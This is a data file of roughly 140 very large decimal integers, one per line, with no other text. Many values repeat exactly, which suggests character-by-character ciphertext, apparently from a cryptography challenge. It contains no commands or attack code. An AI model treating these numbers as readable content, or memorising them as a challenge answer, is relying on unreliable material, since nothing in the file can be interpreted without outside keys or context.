98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
49753325574865445089772669052891000483752580109613466912771010336607847769281978866460532307952123513083663621765806989683259320224009128424843195798482983529142744938925210736045258659747179875853414003793568639616690520031318358365189672329709227585258829062097623252983992310067500221135568184405349569803
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
52738942978973710444499335094212648235649553500556751113739197966703795929812811872109367849897530719672461613584621227749748743159637124450463765170082743722510939526614783513725649879214102056611979549051428017108970249709601910597007002954025453070108883580204888981915050470487690016926730906263560750604
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
5773835752867135742860586525565658315475915068619521277950089759587819563536944805510903146409067987340304998621501840196103691201360565427014426065168921252922005079427002966050825114334985040879902482157259153063546013516640746407961509405884392134856989881966012190857396495365396996099827624027096856061
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133604854587983782426336851966055180766137238380213738755612754580571873477141746262470197566499595456763533768810119497776657303036926536439596312800476267916952408133055363765789592858440156479910321961287737605889088257914313717722526470918375313652500001060195495792645858466367996395114867945227571389228
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
